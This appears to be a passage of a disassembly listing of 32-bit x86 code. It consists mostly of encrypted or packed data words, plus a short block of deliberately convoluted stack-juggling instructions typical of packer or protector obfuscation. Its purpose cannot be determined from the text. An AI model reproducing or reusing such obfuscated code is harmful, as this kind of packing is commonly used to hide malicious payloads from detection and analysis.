		dd 8952242Ch, 4C281E2h,	83000000h, 148704EAh, 1C895C24h
		dd 0E3895324h, 4C381h, 0EB830000h, 241C8704h, 243C895Ch
		dd 4C020EBBh, 4EEB8147h, 4B755131h, 2414F753h, 57C3815Bh
		dd 54D8132Dh, 81243C8Bh, 4C4h, 0DA895200h, 8B085789h, 0C4812414h
		dd 4, 57243C8Bh, 0C781E789h, 4,	4C781h,	3C870000h, 34FF5C24h
		dd 0C4815B24h, 4, 0FBDD1BE9h, 0B189EFFh, 44F25996h, 0B7EE4346h
		dd 1869ECB8h, 0FFC50306h, 3FA033E0h, 0DCAD5F03h, 0A42DDB7Eh
		dd 0D8A54F02h, 402FE91Dh, 0A1B5E177h, 0FA142863h, 9E819h
		dd 0B5B40000h, 0B0DA0A84h, 66EDE810h, 815ED18Bh, 40CA4AF2h
		dd 0E7C68101h, 5300005Dh, 685ACB8Ah, 174Ah, 4634D281h
		dd 815F4559h, 3EC6FBD2h, 0F36FF0Bh, 380h, 63C88000h, 13E95Bh
		dd 0B2300000h, 62A14A4Dh, 0FAB37DD3h, 0E43609B3h, 0A2F3F6F8h
		dd 0A5F381A5h, 81776973h, 85CAB8EAh, 27C3810Eh,	8025A22Fh
		dd 0C3813CC0h, 57404E00h, 13E9h, 624D5A00h, 69237207h
		dd 0F5385CA3h, 0BA4D2208h, 25B2D835h, 45B91E89h, 8354D476h
		dd 7E803EEh, 59000000h,	6F2262F6h, 8B0F979Bh, 15h, 10E9h
		dd 0EE04D300h, 9EA873F2h, 8A83EA6Dh, 0C757B43Eh, 8A4E5AE4h
		dd 850F4FF3h, 0FFFFFF6Dh, 10FE9F8h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 9326F9C3h
		dd 8E212089h, 6BFAB58Dh, 6A0618h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 3A5480C3h, 0F9FB1998h
		dd 4483858Dh, 890F0616h, 1Ah, 14820Fh, 0FE90000h, 3A000000h
		dd 3A66391Eh, 0FC5D66A2h, 549F3790h, 0FFF87FFBh, 52B160D0h
		dd 0E860C361h, 6, 975AB879h, 830FAD82h,	0
		dd 61D18B59h, 0FD98C66h, 885h, 8D0F6000h, 0
		dd 4C1F661h, 39840Fh, 8BF50000h, 32CB8BFBh, 0FD75AEC0h
		dd 0D9F7CF2Bh, 0D78BF92Bh, 0EBD98B49h, 3F20CD00h, 0B000101h
		dd 8D1874C0h, 0FA8B0C70h, 75A6CB8Bh, 0FA75490Ah, 1B8h
		dd 8B09EB00h, 0B8E4EB00h, 0
		dd 57006ACFh, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 810FF866h, 5, 0D7B70F60h, 2D85C761h, 3F06186Ch
		dd 0E8000101h, 0Eh, 53812969h, 57846075h, 99AAE817h, 816614F7h
		dd 593D4BD7h, 81D7B70Fh, 65B0C1h, 0C2B70F00h, 0EE8F62Bh
		dd 12000000h, 48FE304Ah, 0A13C71Ch, 0D36F01Fh, 0F08166EDh
		dd 8B5F00D8h, 0FE9311Ch, 53000000h, 0AEA27274h,	75F8B9A9h
		dd 89249F07h, 0EB81DA93h, 5259DB5Ch, 811AE080h,	0BE0CC1C3h
		dd 0F8BF0F3Eh, 0EC30F381h, 8B6609A7h, 0C78B53D3h, 0F31048Fh
		dd 8Ah,	81FB8B00h, 2FD0C1EEh, 0C18B6678h, 0D0BDC681h, 8B66782Fh
		dd 0E8FE81D7h, 0FFFFF9Ah, 0FFFFA285h, 0BFD080FFh, 60EBh
		dd 17h dup(0)
		dd 8BE90000h, 0E900000Bh, 0B7Fh, 18752568h, 13C6E906h
		dd 9E68FFFBh, 0E9061876h, 0FFFB13BCh, 18770168h, 13B2E906h
		dd 0E16DFFFBh, 0E3735575h, 0D3654B6Bh, 0E2715777h, 0DB6A506Eh
		dd 0C56A5979h, 9B3B19A8h, 8B2B27B5h, 983612A5h,	8D2D1FB2h
		dd 0F06A9BC4h, 0B916B621h, 6FBDFE60h, 49DEC4E3h, 0A52F6EFFh
		dd 0A6362446h, 9310EACh, 44C594B8h, 45075A7Ch, 0CB7DD2F4h
		dd 4A08587Ah, 78AD7FBh,	47C697B7h, 0A6331726h, 2CBB9FAEh
		dd 9F311524h, 26B89AABh, 0C61B1928h, 91C4E3C0h,	109DB535h
		dd 8559FFEh, 9DB50327h,	0DA82B453h, 446B1685h, 0C9DD3E23h
		dd 4E00520Eh, 748A52Fh,	85877CD6h, 0A1C0450Ah, 0C2902002h
		dd 4DFD4F73h, 93B7A42Ch, 86AC0B43h, 0AE285D35h,	770A8586h
		dd 96507716h, 0F0C3860Dh, 9797C50Fh, 0B9963553h, 0C50F4391h
		dd 8560D046h, 3D0C910Ah, 97C6C819h, 0A85613Bh, 0AB27616Ch
		dd 0ABB82226h, 8AAB0B6Ah, 0DFDE38ADh, 66A70A84h, 6CBD045Eh
		dd 735046E0h, 854FFF4Fh, 0C7BDA3DBh, 4767C16Bh,	0A641DE99h
		dd 4D41h, 0BDA31500h, 0E5BFE8C7h, 0B39537B4h, 0C229B33Dh
		dd 9DB53793h, 0F1477010h, 0C4513FBh, 0BC902185h, 7646CADh
		dd 0F63995C8h, 372109Dh, 109DF587h, 1F7ECD50h, 68C2E47Eh
		dd 45E16DBDh, 20C4E37Dh, 0E7000000h, 0B53995C8h, 8302109Dh
		dd 0BDA39F39h, 93C26BC7h, 109DB537h, 0C29BB726h, 0E16DBD68h
		dd 0A3E37D45h, 7AEBC8BEh, 168EA21Fh, 5606DFE8h,	83FD6FAh
		dd 29A9D869h, 800A8A86h, 85017453h, 4E0A8A85h, 0F25AEBCFh
		dd 709A2263h, 3AE3B1DBh, 0B04B5AADh, 0EF000001h, 0DA0BBFA3h
		dd 109DB580h, 0A0B40149h, 70117091h, 6CDC6F53h,	94067764h
		dd 4D109DB4h, 7D5A79C8h, 9DB38E08h, 0AE365710h,	933319ACh
		dd 0E66095B2h, 0AF109DB3h, 0BDFC666Eh, 0DFC3E06Ch, 6CF6FE4Eh
		dd 0BDA3F650h, 67C16BC7h, 0FD4BE0C2h, 3BA32D6Ch, 0A641DE6Dh
		dd 39D5h, 0BDA36900h, 93C26BC7h, 109DB537h, 92FA4A70h
		dd 2A93D175h, 7CCDAC29h, 0F716D31Dh, 0BD68C25Bh, 7D45E16Dh
		dd 51E0C2E3h, 0E0153203h, 109DB566h, 458FEE2Fh,	391Ah
		dd 0E0C2B800h, 2D6CFD4Bh, 335197A3h, 0C842B394h, 0FC109DB4h
		dd 3154E369h, 42133F8Dh, 0C25FF9C3h, 9DB53793h,	1E4F7010h
		dd 109DB4C4h, 49C0088Dh, 68C26EC8h, 45E16DBDh, 0BFA3E37Dh
		dd 78C8EAC9h, 0C20A8BDAh, 3B90B295h, 0D644C30Dh, 87109DB4h
		dd 2F183706h, 0D3020A06h, 109DBC77h, 26F6DD40h,	2628B067h
		dd 351AB993h, 79755E9Fh, 0E40925Fh, 0D977656Fh,	0FE4CE0C2h
		dd 0B4A62E6Fh, 500F2B21h, 0C7BDA3F6h, 0BEE4C16Bh, 81DBE56Fh
		dd 41DE9947h, 4641A6h, 0C2150000h, 0B8004EE0h, 620647Ch
		dd 1670E5C2h, 0DF109DB5h, 62936BEh, 0EB621D21h,	0F6D8A106h
		dd 0A0DFE963h, 109E7126h, 0C294AEEFh, 70E5C268h, 109DB516h
		dd 2436BEDFh, 7DA2BC92h, 43C4E3h, 0C3E70000h, 4C16DE76h
		dd 0E8C7BDA3h, 51E072C2h, 0C22EA830h, 9DB53793h, 0FE477010h
		dd 7FDB0A58h, 48109E2Dh, 3E05DEC5h, 190F7C1h, 0DDDC225h
		dd 0C1C1F316h, 9DBA9721h, 192824B5h, 0BD66F0F8h, 7D45E16Dh
		dd 0B4C4E3h, 0A36A0000h, 0C8EAC9BFh, 584D573h, 0FB6F9EBBh
		dd 0B4109DB4h, 5C33B08Bh, 0B0D1CB01h, 7A0C9DA1h, 60A4B678h
		dd 0BF1F7EB6h, 0E06CBD21h, 0A3F65046h, 0C16BC7BDh, 0DE994767h
		dd 4C41A641h, 15000000h, 0AF04BDA3h, 9683C899h,	449072F9h
		dd 3D8F3352h, 0C2D26C0Dh, 1F6EBDE5h, 19A3C292h,	9DB570EAh
		dd 7AD43910h, 6DBD68C2h, 0AE39621Bh, 0D4B51019h, 0C4E37D7Ah
		dd 3Eh,	3995C8E7h, 2109DB5h, 55B12483h,	1E109DB5h, 0A36BF5FFh
		dd 0C26BC7BDh, 9DB53793h, 18B72610h, 0B54CC637h, 2F80109Dh
		dd 62F11021h, 0C23F9923h, 330250E0h, 6DCD0AD2h,	45E16DBDh
		dd 6CBDE37Dh, 2D0BDF1Ah, 59385AAAh, 0D771C608h,	0CC80D1F7h
		dd 26900C7Dh, 9CD6109Eh, 6AE2731Fh, 79D3664Ch, 0B44DE2E8h
		dd 0B001B14Ah, 0CA1B3F9Ch, 273591C4h, 9FFE109Eh, 0A62E6FFEh
		dd 157178B8h, 21B199B6h, 0F3FD1C2Dh, 8F143994h,	24830216h
		dd 18A0AAFEh, 11DA38C9h, 0D5310A8Bh, 0B7783864h, 28E05AACh
		dd 76000000h, 0C3E06CBDh, 0F3FD4DDFh, 0B4890574h, 0EECB109Dh
		dd 0B5429CD1h, 0C40B109Dh, 39C4224Ch, 0F0F8999Eh, 0DC6D2596h
		dd 0BDF85270h, 7251E06Ch, 0F389FD50h, 14DC117Bh, 85C293F2h
		dd 9E00F650h, 3F5EBF10h, 266089B5h, 25765489h, 0C6471686h
		dd 3B97C6E9h, 40A8593h,	52E36DBEh, 4C8A5233h, 54F4476Bh
		dd 3C8405h, 193E9DE9h, 0A422C9E2h, 0C19E2676h, 763BD14Ch
		dd 0E4250A10h, 55B12484h, 1E047241h, 5DBD8FFh, 3E0E9F03h
		dd 9B0E39B6h, 1D4271ACh, 932F3398h, 51BE8DE9h, 72D02130h
		dd 0C9047283h, 3715A88Ah, 0B3DDE726h, 2426F616h, 2D8E5095h
		dd 0B4000000h, 0EAC9BFA3h, 9DB52F7Bh, 16B5D810h, 0A4E4A034h
		dd 47845C9Ah, 3C0D3D8Fh, 0FDDDBCDDh, 2FE2h, 0ABDAFD00h
		dd 109E7E2Fh, 914B95F8h, 0EAC9BFA3h, 9DB52B7Bh,	1AB9DC10h
		dd 9AABA938h, 3E64717Bh, 0F9359AEAh, 7C855AE3h,	4D9CBE1Dh
		dd 419FBD07h, 250E0C2h,	80F5D233h, 109DB506h, 5B864ECFh
		dd 15Eh, 53FD4E74h, 9F398302h, 0E6C5BBA3h, 0FCDB71C4h
		dd 9DB50D89h, 2DB7D610h, 0BDF650B3h, 0C146E06Ch, 0DE994767h
		dd 5541A641h, 15000000h, 69C5BBA3h, 93C2E5C2h, 109DB537h
		dd 0E372DA6Bh, 687095A2h, 9DB4BD19h, 46418610h,	8520D6E7h
		dd 0C1EC05AAh, 0BD041D24h, 68C282DCh, 83DF6BBDh, 1670E5C2h
		dd 4F109DB5h, 9DB4C41Eh, 3B088D10h, 0B584C417h,	69AB3554h
		dd 27C4B7h, 0C3E70000h,	450FD971h, 69C5BBA3h, 14FE0C2h
		dd 0CA07D130h, 9DB53F9Bh, 93AF2E10h, 6BBD68C2h,	607D83DFh
		dd 5963E57Ah, 0E06CBDFFh, 0A3F65046h, 7E1401BDh, 0CD9B0D04h
		dd 99F85CE9h, 0BEE4C1BDh, 7ED8E06Ah, 41DE9947h,	5D41A6h
		dd 0C2150000h, 6EFF4DE0h, 0E071D76Ch, 0BCF8C0A1h, 0C246E0A4h
		dd 9DB53793h, 9F477010h, 0CC156151h, 2362FFC9h,	0BAE5C207h
		dd 903266E6h, 12428FA5h, 0C2EF6973h, 6FFE4CE0h,	22B4A62Eh
		dd 0B4A3FF6Eh, 89D7109Dh, 5E557AC9h, 37FFB6AFh,	6FCBAACBh
		dd 32C4E37Dh, 0E7000000h, 8DDC74C3h, 0A31AC40Ch, 0C26BC7BDh
		dd 4C54BAE5h, 0D0D8FAC0h, 2D1D7908h, 8D0C109Eh,	4EE0C2B1h
		dd 0BC9BB800h, 38094396h, 0BD450FD9h, 7D45E16Dh, 0DE6ABDE3h
		dd 0B49FFE8Fh, 0BBD5109Dh, 93F943Eh, 6ABD0FA9h,	8AD901DEh
		dd 6B6FFEC6h, 19E170D8h, 0D3681AAFh, 4F785575h,	0AA2961D7h
		dd 59A830AAh, 109E6538h, 7ADC9DB7h, 7D84A341h, 57FFFFFEh
		dd 30B1170h, 6D770957h,	0B51270F3h, 101109Dh, 42109DB4h
		dd 0D0DA485Dh, 16DEE2E8h, 9DA31877h, 0DB6D5510h, 0A826656Fh
		dd 97109DA2h, 109DA337h, 9DA2A826h, 48BEE9D0h, 3B16BC42h
		dd 0A9C0FCC4h, 0E786C81Ah, 0AE1695C8h, 0E2235687h, 450DDC5h
		dd 5D0CD435h, 5F7C0A5Fh, 78214B2Eh, 0ACA1E450h,	0B9F8D999h
		dd 38DAF7B6h, 0E2000003h, 7EA40254h, 9E84222Ch,	4062400Ah
		dd 5F4161EFh, 0F12482D2h, 0D480CD3Eh, 0CE84D4F6h, 0D375CAF0h
		dd 0D07CCDF3h, 77E6E9F2h, 16B62A1Bh, 0C291ADE4h, 3793C2E5h
		dd 109DB5h, 0B572EC9Dh,	0DA3B109Dh, 0DF6DC012h,	4F37328Eh
		dd 0DA19FD70h, 93F21685h, 4742C033h, 7D640A85h,	0A28DAA09h
		dd 7E5D48BFh
		dd 5844C7Dh, 106D7CADh,	0EAD0EF2Eh, 0FC8A2F57h,	0BE3CF7Eh
		dd 10624D6Ah, 0AD100CEBh, 8FBC47F8h, 0ED20E528h, 0EFD8F5E3h
		dd 0F6E66532h, 0F6D8E076h, 0E8CAE963h, 2A6BFA58h, 5CB243A2h
		dd 6E046D1Bh, 93B41373h, 6D1AE862h, 646CB104h, 3F0C0677h
		dd 5D450A55h, 3690C5CFh, 0FFFE54ADh, 716EFF9Eh,	54ACA2FCh
		dd 4B2A6BFEh, 2A1E481h,	0AFBE8C20h, 5179666Eh, 183C8900h
		dd 9A9C849h, 80DA0B2Ch,	49FE54ADh, 87DAFCC4h, 313874C5h
		dd 0CE517655h, 43E93E9Eh, 8FFEDBE5h, 43C768Fh, 0F658EAD0h
		dd 4D1C81EEh, 9FCEFAEFh, 0F83BE543h, 0CBE8890Ch, 240A689Ah
		dd 1FBCE1FEh, 5A2AA3Bh,	7857B322h, 0FD20F223h, 0FDC78BD9h
		dd 0E468F9DFh, 71A62455h, 0C3E7F223h, 73EF1E74h, 3CF2235Eh
		dd 68A9B8D9h, 0B60D5460h, 0FD1C2D27h, 0CCCE3F9Ch, 0A5F80B83h
		dd 8ED3D160h, 9BAAA635h, 1B2A2AB7h, 0DDFA9BFAh,	0C987D8FAh
		dd 0F55180FFh, 382F1FBh, 7CB3454Eh, 0C29F4E5Bh,	1BFh, 67470F5Bh
		dd 7D5DF141h, 6141095Bh, 4260F03Fh, 2383D160h, 7FCE3FF0h
		dd 85D3F5D5h, 78CBEDCDh, 7DD0F2D0h, 0FDE2EFCFh,	0B62B0E88h
		dd 0A0C2D716h, 0EBC8BEA3h, 85DA987Ah, 1D2C7116h, 21F7193Eh
		dd 0FC74DE15h, 0E5A1C8F4h, 8F3E97C6h, 4B6F1076h, 820352FAh
		dd 0F568AD3Ah, 79F758A4h, 5C3712D9h, 0BE000001h, 0E2C8E670h
		dd 0FAE0FE50h, 0E4C6E466h, 0FBDDFD53h, 0D5C8E66Eh, 0B0A4315Ah
		dd 0B2A03012h, 0AF992E14h, 0B498290Fh, 0D3024D16h, 16B62C77h
		dd 0A375E940h, 99B505BEh, 66F7DBF8h, 0AE3657E6h, 3CB18EB1h
		dd 109DB4E2h, 23626AABh, 1685D927h, 2C0EADF0h, 0BC2BB59Bh
		dd 0A505479Ah, 2E859F88h, 3607499Ah, 6213F0D7h,	7ECF01CBh
		dd 28417FCEh, 0EFF16DA0h, 5BBA0A84h, 869E977h, 143487ABh
		dd 7BD70645h, 440A84F0h, 3B18A0C1h, 6D1574CAh, 7ECDF510h
		dd 0BF8EBE0Fh, 0EF2E3F5Eh, 2B0F308Eh, 65A4B59Dh, 65E9795Bh
		dd 0EE426845h, 0EE42945Ch, 7E617E5Ch, 6C82930Fh, 0AF395C04h
		dd 64420E9Dh, 7FCF5F43h, 0BBD66375h, 0F0112028h, 0E0153291h
		dd 46C8366h, 0F8E6EE2Fh, 4FCFF8D7h, 28E9C134h, 0AD32ACDDh
		dd 9AFB046Ch, 0A3B10052h, 0AD002203h, 0B503559Fh, 0C81B3D9Dh
		dd 61A6CBDh, 0EE9312D3h, 86075637h, 50E1C7E7h, 6CFCDEFCh
		dd 4EE1C9E6h, 0A22A6BFAh, 41B493B4h, 46C12C5h, 57FD4C8Eh
		dd 5792AE36h, 90AF902Fh, 6C13015Dh, 674BCA04h, 13727ADAh
		dd 0A5437DBh, 2628395Ch, 351AB993h, 0BBD9E743h,	2EBB1F09h
		dd 0EEF61726h, 0DD1F0h,	7B6D0000h, 920C815Eh, 5B109DB4h
		dd 0BD28B23Ah, 7254E571h, 0FADC6DDFh, 7052E365h, 0DFE372E0h
		dd 0F330252h, 7FC392C2h, 2D112030h, 0BC9EAF9Bh,	2215242Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edi
		mov	edi, 4
		sub	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		pop	esp
		push	1A5Ah
		mov	[esp], ebp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edx
		push	eax
		push	ebx
		mov	ebx, 6186DB0h
		mov	eax, ebx
		pop	ebx
		mov	ebp, eax
		pop	eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		push	ebx
		mov	ebx, 8
		add	ebx, edx
		mov	[ebx], ebp
		mov	ebx, [esp]
		add	esp, 4
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		db 0A4h, 3Bh, 51h
		dd 1D594BA2h, 0E43EBAECh, 0B8B6EE40h, 6187882h,	0C38BC503h
		dd 79D08D8Dh, 6A0618h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 518CD2C3h, 571B589h, 89580613h
		dd 1320A1BDh, 0BD8D8906h, 0BE06131Bh, 34027CCFh, 18DD85C7h
		dd 5DF40613h, 0B50B0000h, 61331B1h, 9816E081h, 85C7580Dh
		dd 6133055h, 0
		dd 0AC36BA66h, 1A95B5FFh, 6A0613h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 0AF9D83C3h, 15810F64h
		dd 0E9000000h, 10h, 4711A1h, 1319C043h,	41E8D414h, 9565247Bh
		dd 1D8995FFh, 0B70F0613h, 71B58BF8h, 6A061322h,	0A995FF00h
		dd 8B06130Dh, 0FE49EBC0h, 0C7707840h, 0C680FB67h, 0E4009226h
		dd 6B0A9712h, 8FE45B7Dh, 0EBC6CF1h, 858DA7E1h, 57BC6330h
		dd 4003671Fh, 91D65B17h, 213C4ED8h, 24D7A52h, 0B816666Dh
		dd 50D833D1h, 5FFE31EBh, 1F2BB3BCh, 0C48786EBh,	0CD53D9F7h
		dd 7AD08D8Dh, 0BF0F0618h, 0BD8D89FBh, 8B06131Bh, 130B759Dh
		dd 0DD85C706h, 7C061318h, 6A00006Ah, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 7298C355h
		dd 9D892EDEh, 6133531h,	0C1F4BE66h, 305585C7h, 613h, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 38574FC3h, 3B5112A6h, 9B5FF0Ch, 53061323h, 68D0Fh, 0DE810000h
		dd 45DC8F83h, 8995FF58h, 6A06131Dh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 6A52C350h
		dd 0A995FF00h, 8B06130Dh, 0C53FEBC0h, 918EAE41h, 0AA145920h
		dd 4A90990Dh, 2EC8A736h, 463F1C20h, 81324A44h, 482D9F06h
		dd 88EF62E5h, 4703BC4Fh, 0B77EB792h, 0C01BF07Ah, 0F0268481h
		dd 0B00DCB17h, 7A9A75ADh, 51B940C5h, 3CE90310h,	1, 4Eh dup(0)
		dd 83000000h, 13212DBDh, 840F0106h, 4FDh, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Dh, 0A1C35242h, 1D52426Bh
		dd 0BC7C4D7h, 0AE9A7h, 0BA840000h, 0E3296BE6h, 60F61735h
		dd 78C0FF8h, 0F000000h,	18Ch, 85C6F500h, 61311E1h, 8E943h
		dd 6090000h, 0ABD3957h,	4E8A519h, 0F5000000h, 0FECA5D0h
		dd 886h, 2830F00h, 60000000h, 8F0F5061h, 14h, 0FE9h, 14E7700h
		dd 0F745EDF8h, 2994AC70h, 5BED1E46h, 424448Bh, 0FE25B960h
		dd 8B613BFFh, 11E900h, 296C0000h, 6487E6AEh, 0C927A49h
		dd 0CECC0538h, 89F2183Fh, 0F042444h, 0C81h, 7E900h, 0E4F90000h
		dd 0E735845h, 890F588Eh, 1, 0B5FFF8F5h,	6131EE9h, 11E9h
		dd 5B361600h, 0AF2057A7h, 0A938F041h, 3298DD53h, 8DF51EB7h
		dd 167C3385h, 1830F06h,	0F5000000h, 0E960D0FFh,	6, 0AF216343h
		dd 8B66CE38h, 858961DAh, 6131CD1h, 0B800Fh, 6E90000h, 0BC000000h
		dd 0C71121EDh, 0E185C64Eh, 50061311h, 188B0Fh, 0E9600000h
		dd 11h,	0C194E482h, 4E216038h, 83A18D8Bh, 0DF4D30Bh, 4F6861B3h
		dd 0E9804D9Ch, 6, 6B45F06h, 34813914h, 0E0311924h, 0AE928h
		dd 982C0000h, 0BDACE78Bh, 0E46FE55Fh, 1EE9B5FFh, 850F0613h
		dd 1, 858DF8F8h, 6167C33h, 1F96B960h, 0E9616B77h, 14h
		dd 1E96B6AAh, 0F6C6507Dh, 29887941h, 1741ECB2h,	79849222h
		dd 0B160D0FFh, 89F86104h, 131D2585h, 0BF0F6006h, 0DF8166F2h
		dd 68612118h, 0D6B5DC42h, 13E9h, 0A1459F00h, 4647A7CBh
		dd 801D651Ch, 0C55A1688h, 688E87E0h, 6D243481h,	60263A74h
		dd 0EE8h, 357C3100h, 799C010Ah,	0C0999D9Dh, 0B3F7161Fh
		dd 10E95FD7h, 0E4000000h, 46A905AFh, 0FDABA39Eh, 0AF332E2Dh
		dd 613B745Ah, 1EE9B5FFh, 66600613h, 9F9FD081h, 61CA8B66h
		dd 7C33858Dh, 0E8600616h, 0Bh, 0A2CE597Ah, 1535A932h, 0F8BDFADDh
		dd 9E959h, 46E50000h, 3FBFADC2h, 619C66C3h, 7E9D0FFh, 9A000000h
		dd 271CA8B1h, 8589ED11h, 6132365h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 3FC35646h, 0FCF30017h, 0E185C6FCh
		dd 50061311h, 0BE860h, 6E6E0000h, 676FBE06h, 582490D3h
		dd 1998B838h, 8A583678h, 0E8F961F5h, 4,	979CDC56h, 14860Fh
		dd 0FE90000h, 0FE000000h, 443D2D32h, 8C4AE6BBh,	227D9062h
		dd 0E9500630h, 9, 60F13B84h, 63CAF960h,	24448B1Eh, 60525004h
		dd 880F6160h, 0
		dd 60310F61h, 310F5250h, 0B966585Ah, 5A61F6FDh,	0E9008B58h
		dd 14h,	0B0AC8C1Ch, 0E01C5352h,	1B24A1B4h, 466BBC4h, 21109FD3h
		dd 4244489h, 7E860h, 26620000h,	0A9302B36h, 57605A9Bh
		dd 58616158h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 1Bh,	54C35343h, 0D47DBAC5h, 600F5E53h, 0A828BB66h, 0A27B58B8h
		dd 0E9606131h, 14h, 0AB889B72h,	0E44C6DE0h, 4B0B7BAEh
		dd 0CC039320h, 609ADBECh, 6DB5FF61h, 0F5061311h, 3AAD858Dh
		dd 0FFF80613h, 8E9D0h, 9D780000h, 0CC71D186h, 89FC9C1Ah
		dd 1305D585h, 10E906h, 0F3870000h, 0C54E937Dh, 4D4C64DCh
		dd 8B586D34h, 5EE9D627h, 0E9000001h, 6,	9D2AADCFh, 50FCEB30h
		dd 0EB8A5360h, 0BE95Ah,	1E1A0000h, 41EF1119h, 0FE796F30h
		dd 2C8961D7h, 1830F24h,	0F5000000h, 870FEC8Bh, 1Eh, 188C0Fh
		dd 13E90000h, 21000000h, 420FF65Ch, 81624F0Eh, 68F62FD6h
		dd 2FC8FEB0h, 0C4830368h, 0E960FCFCh, 0Ah, 0E5C691BCh
		dd 0C13481D0h, 0E86F58h, 5A000000h, 806DEA81h, 45C70618h
		dd 0FCh, 2DBA8300h, 1061321h, 98840Fh, 6A520000h, 0FF0F6A00h
		dd 131CD192h, 82895A06h, 6187B19h, 7B1D9A8Dh, 0C7520618h
		dd 12803h, 0FF505300h, 131D2592h, 8D525A06h, 187B1D9Ah
		dd 0B2FF5306h, 6187B19h, 5D592FFh, 0B5A0613h, 8D5074C0h
		dd 187B1D9Ah, 247B8D06h, 0F981C933h, 104h, 8141D474h, 452E393Ch
		dd 0EE754558h, 2B39348Dh, 0BA8D0C75h, 6133275h,	0F30C4D8Bh
		dd 0AAC032A4h, 875FF52h, 3275828Dh, 0FF500613h,	13236592h
		dd 0C00B5A06h, 45C7A075h, 1FCh,	0C707EB00h, 0FC45h, 8B610000h
		dd 0C2C9FC45h, 6A0008h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 8A0F59C3h, 1, 0FE9F8h, 509D0000h
		dd 8DE23AA6h, 49403592h, 0E745DDEEh, 0E8D28B36h, 6, 7F933C80h
		dd 0F558526Ch, 60F4C081h, 0F18B0000h, 34FFC933h, 0F9BF0F01h
		dd 81F78B5Ah, 0CD268BC2h, 1870F15h, 0F8000000h,	718BF281h
		dd 14E80A96h, 16000000h, 0FFF222B7h, 0FB213702h, 0A5AE268Ah
		dd 37BD9460h, 5FC401A2h, 7288C281h, 0FB8B0B48h,	0BA666052h
		dd 8B666185h, 48F61F2h,	13E95308h, 0E7000000h, 7A322D39h
		dd 71B1352Dh, 0FEE127ACh, 9256EB8Fh, 835B6550h,	816601E9h
		dd 493C3EC6h, 8E94949h,	24000000h, 0CCB2C91Dh, 810F1B0Dh
		dd 0FF9FA4F9h, 77850FFFh, 0FCFFFFFFh, 10E8h, 0B6562700h
		dd 4181C7AAh, 8BB95A52h, 0A10AD5B6h, 5ECE8BA2h,	2840Fh
		dd 0F78A0000h, 5F07C681h, 0B8F90000h, 0
		dd 128D0Fh, 0DE90000h, 34000000h, 8A0AD42Eh, 4E432BFh
		dd 73091629h, 56063C8Bh, 68B0Fh, 8C0F0000h, 0
		dd 24EF815Bh, 6622875Dh, 0C781D78Bh, 46922D08h,	13E96057h
		dd 0E2000000h, 0EC583849h, 3295A127h, 9082A072h, 0B1B8765Dh
		dd 6160097Eh, 0F7815A61h, 30700A5Bh, 5B15BB57h,	48F73BEh
		dd 1CBA6606h, 22B9669Ah, 3E8833Bh, 485BF856h, 0A1B4F881h
		dd 850FFFFFh, 0FFFFFF98h, 10E8h, 25072B00h, 953A8B8Dh
		dd 35FEE7FDh, 39CF2DC4h, 5A62B685h, 1CBA11CCh, 289EBD66h
		dd 0F1DC61B8h, 5C87321h, 79B43742h, 0FF6572F8h,	822687D7h
		dd 30588770h, 0D2C8F3F0h, 1ECC07E0h, 27588A4Ah,	3F6431F7h
		dd 30656DF7h, 60655D39h, 30653474h, 0F33D174Eh,	1421BE7Fh
		dd 1421B697h, 306523CDh, 0F33577E4h, 33AEDE2Ah,	300F3739h
		dd 3066DFCDh, 6945374Eh, 7CEC6EE4h, 74E433B7h, 307833EDh
		dd 612437E4h, 78A734B1h, 0FB6ECC69h, 0B1AC91EDh, 0C57228A4h
		dd 0E1D23844h, 3060BF9Ch, 7CDA37C9h, 0B34B04BAh, 237792CFh
		dd 0B46A373Fh, 30653784h, 331ADEBBh, 3D8C3727h,	9D653793h
		dd 0EAB2B444h, 5C46B09Fh, 1B20FE04h, 0B283B2B4h, 0B0993184h
		dd 85F5FC8Fh, 0BF6A6721h, 30653798h, 30653120h,	9E699FE4h
		dd 0A05DB301h, 0D8323753h, 3065379Fh, 6FA6686Eh, 34414BAEh
		dd 34417312h, 306537D3h, 4DA660A3h, 6CDA233Eh, 0BA6A050Dh
		dd 30653796h, 3061B341h, 8E033727h, 0B5E8CCB1h,	367DB501h
		dd 0ACDA8EB5h, 0A03F6CFEh, 11E13869h, 6065379Ch, 3F04571Ch
		dd 3071DE16h, 0B0D83793h, 357C9DA1h, 5E74A177h,	0DDA56035h
		dd 0EE17AF24h, 683FE9B2h, 65655DDEh, 306534CFh,	0F3381793h
		dd 1409BE94h, 1421B6E0h, 30652276h, 0F3307239h,	8A03F4C3h
		dd 5637267Bh, 0A444E9A6h, 75F0C8CCh, 566324E9h,	0BB19725Dh
		dd 63655DB2h, 306534D1h, 0F33E179Ch, 1439BE15h,	1421B623h
		dd 30652C97h, 0F33674C9h, 647C8C19h, 3E869B3Fh,	8493B65Fh
		dd 15D8B470h, 30632458h, 8DE63E52h, 36761B12h, 607C43C9h
		dd 88A5BCB7h, 30653308h, 3D18B2B0h, 0ADE8318Fh,	36709E33h
